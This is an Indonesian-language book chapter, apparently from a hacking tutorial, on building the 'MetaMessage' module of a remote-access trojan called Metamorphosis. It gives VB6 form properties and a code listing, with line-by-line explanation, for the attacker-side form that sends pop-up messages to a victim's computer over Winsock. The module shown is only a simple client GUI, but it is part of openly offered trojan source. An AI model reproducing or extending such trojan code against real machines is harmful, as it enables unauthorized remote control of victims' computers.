Anda di halaman 1dari 7

107

MetaMessage







Metamorphosis dibekali pula dengan kemampuan menampilkan sembarang pesan pada
komputer korban. Di bagian ini, kita akan membuat suatu form yang kita beri nama
frmMsg. Kegunaan form ini adalah modul untuk menampilkan pesan peringatan pada
komputer korban. Isi pesan peringatan ini tentu saja bebas. Sesuaikan dengan kebutuhan
(dan kegilaan Anda hehehe ).
6.1. Desain Form MetaMessage
Buatlah form baru. Isilah dengan beberapa komponen objek, seperti textbox, command
button, dan lain-lain. Buatlah layout tampilannya lebih kurang seperti Gambar 6.1.

108

Gambar 6.1. Layout form

6.2. Properties MetaMessage
Setelah memasangkan semua objek yang dibutuhkan, klik bagian properties untuk
setiap objek yang ada. Dan lakukan pengaturan settingan dengan data-data di bawah ini.

Form frmMsg
BorderStyle = 4 'Fixed ToolWindow
Caption = "MetaMessage"
ClientHeight = 6330
ClientLeft = 4710
ClientTop = 3765
ClientWidth = 8265
ControlBox = 0 'False
LinkTopic = "Form1"
MaxButton = 0 'False
MinButton = 0 'False
ScaleHeight = 6330
ScaleWidth = 8265
ShowInTaskbar = 0 'False
StartUpPosition = 2 'CenterScreen

Frame Frame2
BackColor = &H80000012&
Caption = "OptType jenis pesan "
109
ForeColor = &H8000000E&
Height = 2340
Left = 240
TabIndex = 4
Top = 3360
Width = 2055
OptionButton optCritical
BackColor = &H80000012&
Caption = "Error"
ForeColor = &H8000000E&
Height = 285
Left = 840
TabIndex = 7
Top = 1680
Width = 765

OptionButton optExclamation
BackColor = &H80000012&
Caption = "Warning"
ForeColor = &H8000000E&
Height = 285
Left = 840
TabIndex = 6
Top = 1080
Width = 1005

OptionButton optInfo
BackColor = &H80000012&
Caption = "Information"
ForeColor = &H8000000E&
Height = 285
Left = 810
TabIndex = 5
Top = 480
Value = -1 'True
Width = 1125

Image Image3
Height = 480
Left = 240
Picture = "frmMsg.frx":0000
Top = 1560
Width = 480

Image Image2
Height = 480
Left = 240
Picture = "frmMsg.frx":0585
Top = 960
Width = 480

Image Image1
Height = 480
Left = 225
Picture = "frmMsg.frx":0ADE
Top = 405
Width = 480

Frame Frame1
BackColor = &H80000012&
Caption = "Pesan yang akan dikirim "
ForeColor = &H8000000E&
Height = 1245
Left = 240
TabIndex = 0
Top = 1800
Width = 7575
110

CommandButton cmdBatal
Caption = "Batal"
Height = 375
Left = 6240
TabIndex = 3
Top = 720
Width = 1050

CommandButton cmdKirim
Caption = "Kirim"
Height = 375
Left = 5040
TabIndex = 2
Top = 720
Width = 1050

TextBox txtMsg
Height = 285
Left = 135
TabIndex = 1
Top = 270
Width = 7290

Image Image4
Height = 7155
Left = 0
Picture = "frmMsg.frx":0F79
Top = 0
Width = 9570

6.3. Listing Program
Berikut ini listing program dari MetaMessage yang harus diketikkan. Silakan di-
analisis dahulu


'===============================================================
' Metamorphosis : Eats You Alive
' Trojan Klien - modul MetaMessage
' (C)2008, CopyLeft, CyberSufi, Tri Amperiyanto
' Java - Indonesia
' email : megatruh@hotmail.com
' For educational purposes only !
'===============================================================

Private Sub Form_Load()
On Error Resume Next
txtMsg.Text = ""
optInfo.Value = True
End Sub

Private Sub cmdBatal_Click()
On Error Resume Next
Unload Me
End Sub
Private Sub cmdKirim_Click()
On Error Resume Next
Dim OptType As String
111
If Trim$(txtMsg.Text) = "" Then
MsgBox "Pesan masih kosong !", vbExclamation, "Peringatan"
Exit Sub
End If
If optInfo.Value = True Then OptType = "inf"
If optExclamation.Value = True Then OptType = "exc"
If optCritical.Value = True Then OptType = "cri"
metaCli.metaClient.SendData KIRIM_PESAN & OptType & txtMsg.Text
Unload Me
End Sub



Private Sub txtMsg_KeyPress(KeyAscii As Integer)
On Error Resume Next
If KeyAscii = 13 Then Call cmdKirim_Click
End Sub


6.4. Keterangan Program
Keterangan ringkas dari program di atas adalah seperti berikut ini.
6.4.1. Subrutin Form_load
Private Sub Form_Load()
Subrutin jika form di-load ke memori.

On Error Resume Next
Bilamana terjadi masalah, teruskan ke perintah berikutnya.

txtMsg.Text = ""
Mengosongkan data txtMsg.

optInfo.Value = True
Membuat nilai OptInfo sama dengan True.

End Sub
Subrutin selesai.
6.4.2. Subrutin cmdBatal_Click

Private Sub cmdBatal_Click()
Subrutin jika tombol Batal diklik.

On Error Resume Next
Jika terjadi masalah, lanjutkan dengan perintah berikutnya.
112
Unload Me
Menghapus form aktif dari memory.

End Sub
Subrutin selesai.
6.4.3. Subrutin cmdkirim_Click

Private Sub cmdKirim_Click()
Subrutin bila tombol Kirim diklik.

On Error Resume Next
Jika terjadi masalah, lanjutkan dengan perintah berikutnya.

Dim OptType As String
Pesan tempat di memory untuk variabel OptType dengan jenis data string.

If Trim$(txtMsg.Text) = "" Then
Apabila isi txtMsg kosong, maka

MsgBox "Pesan masih kosong !", vbExclamation, "Peringatan"
Memanggil fungsi msgBox dan menampilkan peringatan bahwa pesan belum ditulis.

Exit Sub
Keluar dari subrutin.

End If
Syarat selesai.

If optInfo.Value = True Then OptType = "inf"
Jika nilai optInfo sama dengan benar (True), masukkan nilai "inf" ke variabel OptType.

If optExclamation.Value = True Then OptType = "exc"

Jika nilai optExclamation sama dengan benar (True), masukkan nilai "exc" ke variabel
OptType.

If optCritical.Value = True Then OptType = "cri"
Jika nilai optCritical sama dengan benar (True), masukkan nilai "cri" ke variabel
OptType.

metaCli.metaClient.SendData KIRIM_PESAN & OptType & txtMsg.Text
Memanggil Winsock metaClient yang ada di form metaCli untuk mengirim data:
KIRIM_PESAN plus isian OptType ditambah dengan isi pesan.
113
Unload Me
Hilangkan form aktif dari memori.

End Sub
Subrutin berakhir.
6.4.4. Subrutin cmdBatal_Click

Private Sub txtMsg_KeyPress(KeyAscii As Integer)
Subrutin bila tombol keyboard ditekan.

On Error Resume Next
Jika terjadi masalah, lanjutkan dengan perintah berikutnya.

If KeyAscii = 13 Then Call cmdKirim_Click
Jika tombol Enter (alias ASCII 13) ditekan, panggil sub cmdKirim_Click.

End Sub
Subrutin selesai.

Begitulah keterangan ringkas tentang modul pesan. Cukup singkat dan jelas, bukan?















***

Anda mungkin juga menyukai